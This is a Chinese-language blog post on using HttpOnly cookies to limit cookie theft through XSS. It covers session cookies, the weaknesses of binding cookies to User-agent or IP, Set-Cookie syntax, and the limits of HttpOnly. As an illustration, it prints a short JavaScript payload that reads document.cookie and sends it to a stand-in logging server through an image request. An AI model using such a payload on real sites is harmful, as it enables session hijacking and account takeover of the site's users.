IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

使用Http-only Cookie来防止XSS攻击

标点符 2013-06-08 23:36:19 累计浏览 4,028 次
本机暂存

   www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。

   对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;

   有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。

   那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。

   下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):

   Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

   Asp.Net设置HttpCookie.HttpOnly 属性的方法:http://msdn.microsoft.com/zh-cn/library/system.web.httpcookie.httponly.aspx

   目前主流的浏览器基本上已经都支持了Http-Only属性,具体支持的浏览器请查看:https://www.owasp.org/index.php/HttpOnly

   另外,HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交。为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。比如如果你的站点是使用Asp.Net开发的话,建议使用Microsoft Web Protection Library

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. 几种极其隐蔽的XSS注入的防护 (累计阅读 5,651)
  2. 一段Javascript的代码 (累计阅读 4,317)
  3. 新浪微博的XSS攻击 (累计阅读 4,090)
  4. 淘宝网:前端安全须知 (累计阅读 3,907)
  5. PHP Taint – 一个用来检测XSS漏洞的扩展 (累计阅读 3,686)
  6. xss简单渗透测试 (累计阅读 3,609)
  7. 深掘XSS漏洞场景之XSS Rootkit (累计阅读 3,338)
  8. 老生常谈,安全上你不该犯的错! (累计阅读 3,333)
  9. NodeJs下的Web安全 (累计阅读 3,184)
  10. PHP安全之慎用preg_replace的/e修饰符 (累计阅读 3,078)